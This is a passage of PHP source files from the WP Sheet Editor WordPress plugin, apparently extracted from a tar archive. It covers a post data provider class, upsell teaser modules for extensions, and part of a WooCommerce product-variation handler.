); } return $wp_query_args; } function get_items( $query_args ) { // Fix. Conflict with the "Post types order" plugin. It won't load all the rows. $query_args['ignore_custom_sort'] = true; $query_args = $this->maybe_add_order_clause( apply_filters( 'vg_sheet_editor/provider/post/get_items_args', $query_args ) ); $query = new WP_Query( $query_args ); if ( empty( $query_args['fields'] ) || $query_args['fields'] !== 'ids' ) { foreach ( $query->posts as $item ) { self::$data_store['item'][ $item->ID ] = $item; } } return $query; } function get_item( $id, $format = null ) { if ( isset( self::$data_store['item'][ $id ] ) ) { $item = self::$data_store['item'][ $id ]; } else { $item = get_post( $id ); self::$data_store['item'][ $id ] = $item; } if ( $format === ARRAY_A && is_object( $item ) ) { $item = (array) $item; } return apply_filters( 'vg_sheet_editor/provider/post/get_item', $item, $id, $format ); } function get_item_meta( $post_id, $key, $single, $context = 'save', $bypass_cache = false ) { if ( ! $bypass_cache && isset( self::$data_store['meta'][ 'item' . $post_id ] ) && isset( self::$data_store['meta'][ 'item' . $post_id ][ $key ] ) ) { $raw_value = self::$data_store['meta'][ 'item' . $post_id ][ $key ]; } else { $raw_value = get_post_meta( $post_id, $key, $single ); self::$data_store['meta'][ 'item' . $post_id ][ $key ] = $raw_value; } $original_value = $raw_value; $raw_value = apply_filters( 'vg_sheet_editor/provider/post/get_item_meta', $raw_value, $post_id, $key, $single, $context ); if ( ! is_null( $original_value ) && is_null( $raw_value ) && VGSE_DEBUG ) { throw new Exception( "Post meta was filtered and didn't return a value.", E_USER_ERROR ); } return $raw_value; } function get_item_data( $id, $key ) { $raw_item = $this->get_item( $id ); if ( ! $raw_item ) { return false; } $item = get_object_vars( $raw_item ); $second_key = 'wp_' . $key; $out = false; if ( isset( $item[ $key ] ) ) { $out = $item[ $key ]; } if ( isset( $item[ $second_key ] ) ) { $out = $item[ $second_key ]; } $out = apply_filters( 'vg_sheet_editor/provider/post/get_item_data', $out, $id, $key, true, 'read' ); return $out; } function update_modified_date( $ids ) { global $wpdb; if ( empty( $ids ) ) { return; } if ( ! empty( VGSE()->get_option( 'disable_post_modified_date_auto_update', false ) ) ) { return; } $ids_in_query_placeholders = implode( ', ', array_fill( 0, count( $ids ), '%d' ) ); $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_modified = %s, post_modified_gmt = %s WHERE ID IN (" . $ids_in_query_placeholders . ')', array_merge( array( current_time( 'mysql', false ), current_time( 'mysql', true ) ), array_filter( array_map( 'intval', $ids ) ) ) ) ); $user_id = get_current_user_id(); foreach ( $ids as $post_id ) { update_post_meta( $post_id, '_edit_last', $user_id ); } do_action( 'vg_sheet_editor/provider/' . $this->key . '/update_modified_date', $ids ); } function update_item_data( $values, $wp_error = false ) { global $wpdb; if ( ! empty( $values['post_type'] ) && ! post_type_exists( $values['post_type'] ) ) { throw new Exception( json_encode( array( 'post_id' => $values['ID'], 'code' => 'wpse_invalid_post_type', 'message' => sprintf( __( 'Row ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your CSV uses the right name in the post type column.', 'vg_sheet_editor' ), $values['ID'], sanitize_text_field( $values['post_type'] ) ), ) ), E_USER_ERROR ); } if ( isset( $values['post_type'] ) && empty( $values['post_type'] ) ) { $post_type_from_context = VGSE()->helpers->get_provider_from_query_string(); // If we are editing WC products, throw an error because we don't know if this is a parent product or variation if ( class_exists( 'WooCommerce' ) && $post_type_from_context === 'product' ) { throw new Exception( json_encode( array( 'post_id' => $values['ID'], 'code' => 'wpse_invalid_post_type', 'message' => sprintf( __( 'Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column.', 'vg_sheet_editor' ), $values['ID'] ), ) ), E_USER_ERROR ); } else { // If this is any other post type, automatically set the post type from the current sheet $values['post_type'] = $post_type_from_context; } } if ( isset( $values['post_status'] ) && empty( $values['post_status'] ) ) { $values['post_status'] = 'draft'; } if ( ! empty( $values['post_date'] ) && $values['post_date'] > current_time( 'mysql' ) ) { $values['post_status'] = 'future'; } $post_id = $values['ID']; if ( isset( $values['post_date'] ) ) { $values['edit_date'] = true; } if ( ! empty( $values['post_date'] ) ) { $values['post_date_gmt'] = ''; } // If the post type hasn't changed, don't save it again if ( ! empty( $values['post_type'] ) && $values['post_type'] === get_post_type( $post_id ) ) { unset( $values['post_type'] ); } // If converting from post to product, migrate the tags and categories too $product_type = apply_filters( 'vg_sheet_editor/woocommerce/product_post_type_key', 'product' ); if ( class_exists( 'WooCommerce' ) && ! empty( $values['post_type'] ) && $values['post_type'] === $product_type && get_post_type( $post_id ) === 'post' ) { $post_tags = $this->get_item_terms( $post_id, 'post_tag' ); $categories = $this->get_item_terms( $post_id, 'category' ); do_action( 'vg_sheet_editor/provider/post/post_converted_to_product', $post_id, $values ); } if ( ! empty( $values['post_modified'] ) ) { $mysql_time_format = 'Y-m-d H:i:s'; $time = strtotime( $values['post_modified'] ); $post_modified = gmdate( $mysql_time_format, $time ); $post_modified_gmt = gmdate( $mysql_time_format, ( $time + get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ); $wpdb->update( $wpdb->posts, array( 'post_modified' => $post_modified, 'post_modified_gmt' => $post_modified_gmt, ), array( 'ID' => $post_id, ), array( '%s', '%s', ), array( '%d', ) ); unset( $values['post_modified'] ); } $post_template = get_post_meta( $post_id, '_wp_page_template', true ); // Make sure the posts don't use invalid templates because wp throws errors if ( ! empty( $post_template ) ) { $post_obj = get_post( $post_id ); $post_type_for_saving = ( ! empty( $values['post_type'] ) ) ? sanitize_text_field( $values['post_type'] ) : $post_obj->post_type; // Needed because this function doesn't exist in the cron context used by the Automations plugin if ( ! function_exists( 'get_page_templates' ) ) { require_once ABSPATH . 'wp-admin/includes/theme.php'; } $available_templates = get_page_templates( $post_obj, $post_type_for_saving ); if ( ! in_array( $post_template, $available_templates, true ) || ! post_type_supports( $post_type_for_saving, 'page-attributes' ) ) { update_post_meta( $post_id, '_wp_page_template', '' ); } } $out = true; if ( isset( $values['post_status'] ) && $values['post_status'] === 'delete' ) { VGSE()->deleted_rows_ids[] = $post_id; $deleted_child_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_parent = %d", (int) $post_id ) ); VGSE()->deleted_rows_ids = array_map( 'intval', array_merge( $deleted_child_ids, VGSE()->deleted_rows_ids ) ); if ( ! empty( VGSE()->options['delete_attached_images_when_post_delete'] ) ) { $gallery = get_post_meta( $post_id, '_product_image_gallery', true ); $featured_image = get_post_meta( $post_id, '_thumbnail_id', true ); $post_images = array(); if ( is_string( $gallery ) && ! empty( $gallery ) ) { $post_images = array_merge( $post_images, explode( ',', $gallery ) ); } if ( ! empty( $featured_image ) && is_numeric( $featured_image ) ) { $post_images[] = $featured_image; } $post_images = apply_filters( 'vg_sheet_editor/deleted_post/post_images_to_delete', $post_images, $post_id, $values ); foreach ( $post_images as $image_id ) { wp_delete_attachment( $image_id, true ); } } if ( WP_Sheet_Editor_Helpers::current_user_can( 'delete_post', $post_id ) ) { if ( get_post_type( $post_id ) === 'attachment' ) { wp_delete_attachment( $post_id, true ); } else { wp_delete_post( $post_id, true ); } } else { throw new Exception( sprintf( __( 'Row ID: %d, You do not have permission to delete this post.', 'vg_sheet_editor' ), $post_id ), E_USER_ERROR ); } } else { if ( count( $values ) === 1 && isset( $post_id ) ) { $out = $post_id; } else { // Send the post_author, either new or existing author, because WP sometimes removes the existing author // if we update a post without sending the author parameter if ( ! isset( $values['post_author'] ) ) { $values['post_author'] = $wpdb->get_var( $wpdb->prepare( "SELECT post_author FROM $wpdb->posts WHERE ID = %d", $post_id ) ); } $out = wp_update_post( $values, $wp_error ); if ( ! empty( $post_tags ) || ! empty( $categories ) ) { $this->set_object_terms( $post_id, VGSE()->data_helpers->prepare_post_terms_for_saving( $post_tags, 'product_tag' ), 'product_tag' ); $this->set_object_terms( $post_id, VGSE()->data_helpers->prepare_post_terms_for_saving( $categories, 'product_cat' ), 'product_cat' ); } } } do_action( 'vg_sheet_editor/provider/post/data_updated', $post_id, $values ); return $out; } function delete_item_meta( $id, $key ) { delete_post_meta( $id, $key ); } function update_item_meta( $id, $key, $value ) { $result = update_post_meta( $id, $key, apply_filters( 'vg_sheet_editor/provider/post/update_item_meta', $value, $id, $key ) ); // clear internal cache if ( isset( self::$data_store['meta'][ 'item' . $id ][ $key ] ) ) { unset( self::$data_store['meta'][ 'item' . $id ][ $key ] ); } return $result; } function get_object_taxonomies( $post_type ) { return get_object_taxonomies( $post_type, 'objects' ); } function set_object_terms( $post_id, $terms_saved, $key ) { return wp_set_object_terms( $post_id, $terms_saved, $key ); } function get_total( $current_post ) { global $wpdb; $numeroposts = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_type = %s", $current_post ) ); if ( 0 < $numeroposts ) { $numeroposts = (int) $numeroposts; } else { $numeroposts = 0; } return $numeroposts; } function create_item( $values ) { return wp_insert_post( $values ); } function get_item_ids_by_keyword( $keyword, $post_type, $operator = 'LIKE' ) { global $wpdb; $operator = ( $operator === 'LIKE' ) ? 'LIKE' : 'NOT LIKE'; $checks = array(); $keywords = array_map( 'trim', explode( ';', $keyword ) ); $prepared_data = array(); foreach ( $keywords as $single_keyword ) { $checks[] = " post_title $operator %s "; $prepared_data[] = '%' . $wpdb->esc_like( $single_keyword ) . '%'; } if ( empty( $checks ) ) { return array(); } $sql = "SELECT DISTINCT ID FROM $wpdb->posts WHERE ( " . implode( ' OR ', $checks ) . ' ) '; if ( ! empty( $post_type ) ) { $sql .= ' AND post_type = %s'; $prepared_data[] = $post_type; } $ids = $wpdb->get_col( $wpdb->prepare( $sql, $prepared_data ) ); return $ids; } function get_meta_object_id_field( $field_key, $column_settings ) { $post_meta_post_id_key = $this->get_meta_table_post_id_key(); return $post_meta_post_id_key; } function get_table_name_for_field( $field_key, $column_settings ) { global $wpdb; $table_name = ( $column_settings['data_type'] === 'post_data' ) ? $wpdb->posts : $this->get_meta_table_name(); if ( method_exists( VGSE()->helpers, 'sanitize_table_key' ) ) { $table_name = VGSE()->helpers->sanitize_table_key( $table_name ); } return $table_name; } function get_meta_field_unique_values( $meta_key, $post_type = 'post' ) { global $wpdb; $post_meta_table = $this->get_meta_table_name( $post_type ); $post_meta_post_id_key = $this->get_meta_table_post_id_key( $post_type ); $sql = $wpdb->prepare( "SELECT m.meta_value FROM $wpdb->posts p LEFT JOIN $post_meta_table m ON p.ID = m.$post_meta_post_id_key WHERE p.post_type = %s AND m.meta_key = %s GROUP BY m.meta_value ORDER BY LENGTH(m.meta_value) DESC LIMIT 4", $post_type, $meta_key ); $values = apply_filters( 'vg_sheet_editor/provider/post/meta_field_unique_values', $wpdb->get_col( $sql ), $meta_key, $post_type ); // Remove any field value with extremely long length (5mb) to avoid high memory usage foreach ( $values as $index => $value ) { if ( is_string( $value ) && strlen( $value ) > 5000000 ) { unset( $values[ $index ] ); } } return $values; } function get_all_meta_fields( $post_type = 'post' ) { global $wpdb; $pre_value = apply_filters( 'vg_sheet_editor/provider/post/all_meta_fields_pre_value', null, $post_type ); if ( is_array( $pre_value ) ) { return $pre_value; } $max_fields_limit = VGSE()->get_option( 'meta_fields_scan_limit', 2500 ); $post_meta_table = $this->get_meta_table_name( $post_type ); $post_meta_post_id_key = $this->get_meta_table_post_id_key( $post_type ); $meta_keys_sql = $wpdb->prepare( "SELECT m.meta_key FROM $wpdb->posts p LEFT JOIN $post_meta_table m ON p.ID = m.$post_meta_post_id_key WHERE p.post_type = %s AND m.meta_key NOT LIKE '_nxs_snap%' AND m.meta_key NOT LIKE '_transient_%' AND m.meta_key NOT LIKE '%oembed%' AND m.meta_key NOT LIKE '_crp_cache_%' AND m.meta_key NOT LIKE '%_base64_image%' AND m.meta_value NOT LIKE 'field_%' GROUP BY m.meta_key LIMIT %d", $post_type, $max_fields_limit ); $meta_keys = $wpdb->get_col( $meta_keys_sql ); return apply_filters( 'vg_sheet_editor/provider/post/all_meta_fields', $meta_keys, $post_type ); } } modules/wp-sheet-editor/inc/teasers/formulas.php000064400000010246147600365160016027 0ustar00args['enabled_post_types']; foreach ($post_types as $post_type) { $editor->args['toolbars']->register_item('run_formula', array( 'type' => 'button', 'content' => __('Apply changes in bulk', 'vg_sheet_editor' ), 'icon' => 'fa fa-terminal', 'extra_html_attributes' => 'data-remodal-target="modal-formula"', 'toolbar_key' => 'secondary', 'footer_callback' => array($this, 'render_formulas_form') ), $post_type); } } function render_formulas_form($current_post_type) { ?>

                  init(); } return WP_Sheet_Editor_Formulas_Teaser::$instance; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } } add_action('vg_sheet_editor/initialized', 'vgse_init_formulas_teaser'); if (!function_exists('vgse_init_formulas_teaser')) { function vgse_init_formulas_teaser() { WP_Sheet_Editor_Formulas_Teaser::get_instance(); } } modules/wp-sheet-editor/inc/teasers/coupons.php000064400000006360147600365160015667 0ustar00post_type]) || !post_type_exists($this->post_type)) { return $sheets; } $install_url = VGSE()->get_plugin_install_url('WooCommerce Bulk Edit Coupons - WP Sheet Editor'); $sheets[$this->post_type] = array( 'key' => $this->post_type, 'label' => __('WooCommerce Coupons', 'vg_sheet_editor' ), 'is_disabled' => true, 'description' => '' . __('(Install free extension)', 'vg_sheet_editor' ) . '', ); return $sheets; } function render_notice() { if (empty($_GET['post_type']) || $_GET['post_type'] !== 'shop_coupon') { return; } $notice_key = 'wpse_hide_coupons_teaser_notice'; if (get_option($notice_key)) { return; } $nonce = wp_create_nonce('bep-nonce'); ?>

                  Edit coupon codes, amounts, status, restrictions, and more. Make advanced searches. The spreadsheet is in sync with your site, no need to import/export. Download Plugin', 'vg_sheet_editor' ), 'https://wpsheeteditor.com/extensions/woocommerce-coupons-spreadsheet/?utm_source=wp-admin&utm_medium=admin-notice&utm_campaign=coupons'); ?>

                  init(); } return WP_Sheet_Editor_Coupons_Teaser::$instance; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } } add_action('vg_sheet_editor/initialized', 'vgse_init_coupons_teaser'); if (!function_exists('vgse_init_coupons_teaser')) { function vgse_init_coupons_teaser() { WP_Sheet_Editor_Coupons_Teaser::get_instance(); } } modules/wp-sheet-editor/inc/teasers/users.php000064400000006240147600365160015337 0ustar00get_plugin_install_url('Bulk Edit and Create User Profiles – WP Sheet Editor'); $sheets['user'] = array( 'key' => 'user', 'label' => __('Users'), 'is_disabled' => true, 'description' => '' . __('(Install free extension)', 'vg_sheet_editor' ) . '', ); return $sheets; } function render_notice() { $screen = get_current_screen(); if ($screen->parent_base !== 'users') { return; } $notice_key = 'wpse_hide_users_teaser_notice'; if (get_option($notice_key)) { return; } $nonce = wp_create_nonce('bep-nonce'); ?>

                  Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download Plugin', 'vg_sheet_editor' ), 'https://wpsheeteditor.com/extensions/edit-users-spreadsheet/?utm_source=wp-admin&utm_medium=admin-notice&utm_campaign=users'); ?>

                  init(); } return WP_Sheet_Editor_Users_Teaser::$instance; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } } add_action('vg_sheet_editor/initialized', 'vgse_init_users_teaser'); if (!function_exists('vgse_init_users_teaser')) { function vgse_init_users_teaser() { WP_Sheet_Editor_Users_Teaser::get_instance(); } } modules/wp-sheet-editor/inc/teasers/advanced-filters.php000064400000007731147600365160017417 0ustar00
                • -
                • found_columns[$current_post_type] : array(); if (!empty($post_type_columns)) { ?>
                  • $column_key) { ?>
                • init(); } return WP_Sheet_Editor_Advanced_Filters_Teaser::$instance; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } } add_action('vg_sheet_editor/initialized', 'vgse_init_Advanced_Filters_teaser', 99); if (!function_exists('vgse_init_Advanced_Filters_teaser')) { function vgse_init_Advanced_Filters_teaser() { WP_Sheet_Editor_Advanced_Filters_Teaser::get_instance(); } } modules/wp-sheet-editor/inc/teasers/post-types.php000064400000015224147600365160016327 0ustar00helpers->get_all_post_types_names(false); if (isset($post_types['post'])) { unset($post_types['post']); } if (isset($post_types['page'])) { unset($post_types['page']); } // We will display the teaser for the first 2 post types only $this->post_types = array_slice($post_types, 0, 2); add_action('vg_sheet_editor/editor/before_init', array($this, 'register_toolbar_items')); } function register_toolbar_items($editor) { $allowed_post_types = VGSE()->helpers->get_allowed_post_types(); foreach ($post_types as $post_type) { foreach ($this->post_types as $post_type_tease) { // Skip if the post type tease is found on the enabled post types if (isset($allowed_post_types[$post_type_tease])) { continue; } $label = VGSE()->helpers->get_post_type_label($post_type_tease); if ($post_type_tease === apply_filters('vg_sheet_editor/woocommerce/product_post_type_key', 'product')) { $label = 'WooCommerce ' . $label; } $editor->args['toolbars']->register_item('edit_' . $post_type_tease, array( 'type' => 'button', 'content' => sprintf(__('Edit %s', 'vg_sheet_editor' ), $label), 'icon' => 'fa fa-edit', 'allow_in_frontend' => false, 'extra_html_attributes' => 'data-remodal-target="modal-edit-' . $post_type_tease . '"', 'toolbar_key' => 'secondary', 'footer_callback' => array($this, 'render_post_type_modal') ), $post_type); } } } function render_post_type_modal($current_post_type) { foreach ($this->post_types as $post_type_tease) { ?>

                  init(); } return WP_Sheet_Editor_Post_Types_Teaser::$instance; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } } add_action('vg_sheet_editor/initialized', 'vgse_init_post_types_teaser'); if (!function_exists('vgse_init_post_types_teaser')) { function vgse_init_post_types_teaser() { WP_Sheet_Editor_Post_Types_Teaser::get_instance(); } }modules/wp-sheet-editor/inc/teasers/terms.php000064400000006722147600365160015335 0ustar00 true, 'show_ui' => true, '_builtin' => true, ), 'objects'), get_taxonomies(array( 'show_ui' => true, '_builtin' => false, ), 'objects')); $free = array('category', 'post_tag'); $free_url = VGSE()->get_plugin_install_url('Bulk Edit Categories and Tags - Create Thousands Quickly on the Editor'); $premium_url = VGSE()->extensions['taxonomy_terms']['inactive_action_url']; foreach ($taxonomies as $taxonomy) { if (isset($sheets[$taxonomy->name])) { continue; } $is_free = in_array($taxonomy->name, $free); $sheets[$taxonomy->name] = array( 'key' => $taxonomy->name, 'label' => $taxonomy->label, 'is_disabled' => true, 'description' => $is_free ? '' . __('(Install free extension)', 'vg_sheet_editor' ) . '' : '' . __('(Pro extension)', 'vg_sheet_editor' ) . '', ); } return $sheets; } function render_quick_access() { // We get the taxonomy from $_GET instead of the function parameter to make it // compatible with the parent's method which doesn't accept parameters if (empty($_GET['taxonomy'])) { return; } $taxonomy = sanitize_text_field($_GET['taxonomy']); ?>

                  Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more.', 'vg_sheet_editor' ); ?>


                  init(); } return WP_Sheet_Editor_Terms_Teaser::$instance; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } } add_action('vg_sheet_editor/initialized', 'vgse_init_terms_teaser'); if (!function_exists('vgse_init_terms_teaser')) { function vgse_init_terms_teaser() { WP_Sheet_Editor_Terms_Teaser::get_instance(); } } modules/wp-sheet-editor/inc/teasers/upgrade-popup.php000064400000010217147600365160016765 0ustar00post_type_allowed($post_type)) { return; } $this->auto_open_extensions_popup_once(); } function notify_free_limitations_above_table($post_type) { if (!$this->post_type_allowed($post_type)) { return; } printf(__('. Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work', 'vg_sheet_editor' ), VGSE()->get_buy_link('sheet-console-upgrade-{post_type}')); } function render_teaser($post_type) { if (defined('VGSE_ANY_PREMIUM_ADDON') && VGSE_ANY_PREMIUM_ADDON) { return; } if ($post_type !== apply_filters('vg_sheet_editor/woocommerce/product_post_type_key', 'product')) { ?>
                  .
                  auto_open_extensions_popup_once(); } } function auto_open_extensions_popup_once() { $flag_key = 'vgse_hide_extensions_popup'; if (!get_option($flag_key)) { update_option($flag_key, 1); ?> init(); } return WP_Sheet_Editor_Popup_Teaser::$instance; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } } add_action('vg_sheet_editor/initialized', 'vgse_init_Popup_teaser'); if (!function_exists('vgse_init_Popup_teaser')) { function vgse_init_Popup_teaser() { WP_Sheet_Editor_Popup_Teaser::get_instance(); } } modules/wp-sheet-editor/inc/teasers/woocommerce.php000064400000114574147600365160016527 0ustar00post_type = apply_filters('vg_sheet_editor/woocommerce/product_post_type_key', 'product'); if (class_exists('WP_Sheet_Editor_WooCommerce') || !class_exists('WooCommerce')) { return; } $this->allowed_columns = apply_filters('vg_sheet_editor/woocommerce/teasers/allowed_columns', array( 'ID', 'post_title', '_sku', '_regular_price', '_sale_price', '_manage_stock', '_stock_status', '_stock', 'view_post', 'open_wp_editor', 'post_status', 'post_modified', 'post_date', '_length', '_height', '_width', '_weight', )); $this->variation_only_columns = array( ); $this->variation_columns = apply_filters('vg_sheet_editor/woocommerce/teasers/allowed_variation_columns', array( 'ID', '_sku', '_regular_price', '_sale_price', '_manage_stock', '_stock_status', '_stock', '_length', '_height', '_width', '_weight', )); add_filter('vg_sheet_editor/allowed_post_types', array($this, 'allow_product_post_type')); add_filter('vg_sheet_editor/add_new_posts/create_new_posts', array($this, 'create_new_products'), 10, 3); add_action('vg_sheet_editor/editor/register_columns', array($this, 'register_columns'), 15); add_action('vg_sheet_editor/editor/register_columns', array($this, 'filter_columns_settings'), 60); add_filter('vg_sheet_editor/custom_columns/teaser/allow_to_lock_column', array($this, 'dont_lock_allowed_columns'), 10, 2); add_action('woocommerce_variable_product_before_variations', array($this, 'render_variations_metabox_teaser')); add_action('vg_sheet_editor/editor_page/after_console_text', array($this, 'notify_variations_arent_allowed'), 30, 1); add_action('vg_sheet_editor/save_rows/after_saving_post', array($this, 'product_updated_on_spreadsheet'), 10, 4); add_filter('vg_sheet_editor/js_data', array($this, 'watch_cells_to_lock'), 10, 2); add_action('vg_sheet_editor/load_rows/found_posts', array( $this, 'maybe_include_variations_posts' ), 10, 2); // Filter load_rows to include variations if toolbar item is enabled. // The general fields will contain the same info as the parent post. add_action('vg_sheet_editor/load_rows/output', array( $this, 'maybe_modify_variations_output' ), 10, 3); // When loading posts, disable product columns in variations add_action('vg_sheet_editor/load_rows/allowed_post_columns', array( $this, 'disable_general_columns_for_variations' ), 10, 2); // Filter load_rows output to remove data in general columns and display a lock icon instead, also modify some columns values add_action('vg_sheet_editor/load_rows/output', array( $this, 'maybe_lock_general_columns_in_variations' ), 10, 3); // Force WC to generate variation titles with all attributes, even when having a lot of attributes // because the spreadsheet needs it for "delete duplicates" based on title and some search functionality add_filter('woocommerce_product_variation_title_include_attributes', '__return_true', 99999); } function watch_cells_to_lock($data, $post_type) { if ($post_type === $this->post_type) { $data['watch_cells_to_lock'] = true; } return $data; } /** * Modify variations fields before returning the spreadsheet rows. * @param type $rows * @param array $wp_query * @param array $spreadsheet_columns * @return array */ function maybe_modify_variations_output($rows, $wp_query, $spreadsheet_columns) { if (empty($rows) || !is_array($rows) || VGSE()->helpers->get_provider_from_query_string() !== $this->post_type) { return $rows; } $args = apply_filters('vg_sheet_editor/woocommerce/variations/modify_variation_output_args', array( 'add_variation_title_prefix' => true, ), $rows, $wp_query, $spreadsheet_columns); $parent_titles = array(); foreach ($rows as $row_index => $post) { if ($post['post_type'] !== $this->variation_post_type) { continue; } $post_obj = get_post($post['ID']); $rows[$row_index]['post_status'] = 'publish'; // Set variation titles if ($args['add_variation_title_prefix']) { $rows[$row_index]['post_title'] = sprintf(__('Variation: %s', 'vg_sheet_editor' ), esc_html($post_obj->post_title)); // WC doesn't add the attribute names to some variation titles, so we'll add them ourselves when loading the rows if (!isset($parent_titles[$post_obj->post_parent])) { $parent_titles[$post_obj->post_parent] = get_post_field('post_title', $post_obj->post_parent); } if ($post_obj->post_title === $parent_titles[$post_obj->post_parent]) { $rows[$row_index]['post_title'] .= ' - ' . wc_get_formatted_variation(wc_get_product($post['ID']), true, false); } } else { $rows[$row_index]['post_title'] = $post_obj->post_title; } } return $rows; } function get_variation_whitelisted_columns() { return $this->variation_columns; } function get_product_type($product_id) { return VGSE()->helpers->get_current_provider()->get_item_terms($product_id, 'product_type'); } /** * Add a lock icon to the cells enabled for variations or products. * * @param array $posts Rows for display in spreadsheet * @param array $wp_query Arguments used to query the posts. * @param array $spreadsheet_columns * @param array $request_data Data received in the ajax request * @return array */ function maybe_lock_general_columns_in_variations($posts, $wp_query, $spreadsheet_columns) { if (VGSE()->helpers->get_provider_from_query_string() !== $this->post_type || empty($posts) || !is_array($posts) || VGSE()->helpers->is_plain_text_request()) { return $posts; } if (function_exists('WPSE_Profiler_Obj')) { WPSE_Profiler_Obj()->record('Before ' . __FUNCTION__); } $products = wp_list_filter($posts, array( 'post_type' => $this->post_type )); // We need at least one parent product to detect the parent vs variations columns and lock them if (empty($products)) { return $posts; } $first_product_keys = array_keys(current($products)); $whitelist_variations = $this->get_variation_whitelisted_columns(); $columns_with_visibility = array_keys($spreadsheet_columns); // Lock keys on variation rows for fields used in parent products that are not used in variations $locked_keys_in_variations = array_intersect(array_diff($first_product_keys, $whitelist_variations), $columns_with_visibility); // Lock keys on parent rows for fields used in variations that are not used by parent products $locked_keys_in_general = array_intersect(array_diff($whitelist_variations, $first_product_keys), $columns_with_visibility); $locked_keys_in_variations = apply_filters('vg_sheet_editor/woocommerce/locked_keys_in_variations', $locked_keys_in_variations, $whitelist_variations); $lock_icon = ''; foreach ($posts as $index => $post) { if ($post['post_type'] === $this->post_type) { $locked_keys = $locked_keys_in_general; } else { $locked_keys = $locked_keys_in_variations; } if (isset($posts[$index]['_stock'])) { $posts[$index]['_stock'] = (int) $posts[$index]['_stock']; } $product_type = !empty($post['product_type']) ? $post['product_type'] : $this->get_product_type($post['ID']); // We are locking keys here because the automatic locking works with fields // used by all parent products or all variations, not fields used by some parents only. // That's why in this case, we need to check the product type and disable them manually if ($product_type === 'variable') { $locked_keys[] = '_regular_price'; $locked_keys[] = '_sale_price'; $locked_keys[] = '_sale_price_dates_from'; $locked_keys[] = '_sale_price_dates_to'; } $posts[$index] = array_merge($posts[$index], array_fill_keys(array_diff($locked_keys, array_keys($post)), '')); foreach ($locked_keys as $locked_key) { if (strpos($posts[$index][$locked_key], 'vg-cell-blocked') !== false) { continue; } if (in_array($locked_key, array('title', 'post_title'))) { $posts[$index][$locked_key] = $lock_icon . ' ' . $posts[$index][$locked_key]; } else { $posts[$index][$locked_key] = $lock_icon; } } } if (function_exists('WPSE_Profiler_Obj')) { WPSE_Profiler_Obj()->record('After ' . __FUNCTION__); } return $posts; } function get_variation_only_columns() { return $this->variation_only_columns; } /** * Make sure that product variations dont have the columns exclusive to general products. * @param array $columns * @param obj $post * @return array */ function disable_general_columns_for_variations($columns, $post) { if ($post->post_type !== $this->variation_post_type && $post->post_type !== $this->post_type) { return $columns; } if ($post->post_type === $this->variation_post_type) { $disallowed = array_diff(array_keys($columns), $this->get_variation_whitelisted_columns()); } else { $disallowed = $this->get_variation_only_columns(); } $new_columns = array(); foreach ($columns as $key => $column) { if (!in_array($key, $disallowed)) { $new_columns[$key] = $column; } } return $new_columns; } /** * Include variations posts to the posts list before processing. * * Note. The search variations logic is very good because it allows pagination by variations * but we can't use it without searching because it would exclude the non-variable products. * * @param type $posts * @param type $wp_query * @param array $request_data Data received in the ajax request * @return array */ function maybe_include_variations_posts($posts, $wp_query) { if ($wp_query['post_type'] !== $this->post_type || empty($posts) || !is_array($posts)) { return $posts; } $posts_to_inject_query = new WP_Query(array( 'post_type' => 'product_variation', 'nopaging' => true, 'post_parent__in' => wp_list_pluck($posts, 'ID'), 'orderby' => array('menu_order' => 'ASC', 'ID' => 'ASC'), )); if (!$posts_to_inject_query->have_posts()) { return $posts; } // Cache list of variations for future use $this->posts_to_inject_query = $posts_to_inject_query; $new_posts = array(); $wc_default_non_variable_types = array('simple', 'grouped', 'external'); foreach ($posts as $post) { $new_posts[] = $post; if (in_array($this->get_product_type($post->ID), $wc_default_non_variable_types, true)) { continue; } $product_variations = wp_list_filter($posts_to_inject_query->posts, array( 'post_parent' => $post->ID )); $new_posts = array_merge($new_posts, $product_variations); } return $new_posts; } function product_updated_on_spreadsheet($product_id, $item, $data, $post_type) { if (!in_array($post_type, array($this->post_type))) { return; } $this->_sync_product_lookup_table($product_id, array_keys($item)); } /** * Sync with product lookup table * * WC 3.6 introduces a new lookup table, we need to sync some fields after every change. * @see https://woocommerce.wordpress.com/2019/04/01/performance-improvements-in-3-6/ */ function _sync_product_lookup_table( $product_id, $modified_data = array() ) { global $wpdb; $fields_that_dont_require_sync = array( 'ID', 'wpse_downloadable_file_urls', 'wpse_downloadable_file_names', 'id' ); $modified_data = array_diff( $modified_data, $fields_that_dont_require_sync ); if ( empty( $modified_data ) ) { return; } $product_exists_in_lookup_table = (bool) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->prefix}wc_product_meta_lookup WHERE product_id = %d", $product_id ) ); $product_lookup_keys = array( '_price', '_regular_price', '_sale_price', '_sale_price_dates_from', '_sale_price_dates_to', '_sku', '_stock', '_stock_status', '_manage_stock', '_downloadable', '_virtual', '_thumbnail_id' ); $lookup_already_synced = in_array( $product_id, $this->wc_lookuptable_after_save_synced, true ); $sync_required = ! $product_exists_in_lookup_table || array_intersect( $modified_data, $product_lookup_keys ); $product = wc_get_product( $product_id ); if ( ! $product ) { return; } $taxonomy_keys = wc_get_attribute_taxonomy_names(); if ( array_intersect( $modified_data, $taxonomy_keys ) && class_exists( '\Automattic\WooCommerce\Internal\ProductAttributesLookup\LookupDataStore' ) ) { wc_get_container()->get( \Automattic\WooCommerce\Internal\ProductAttributesLookup\LookupDataStore::class 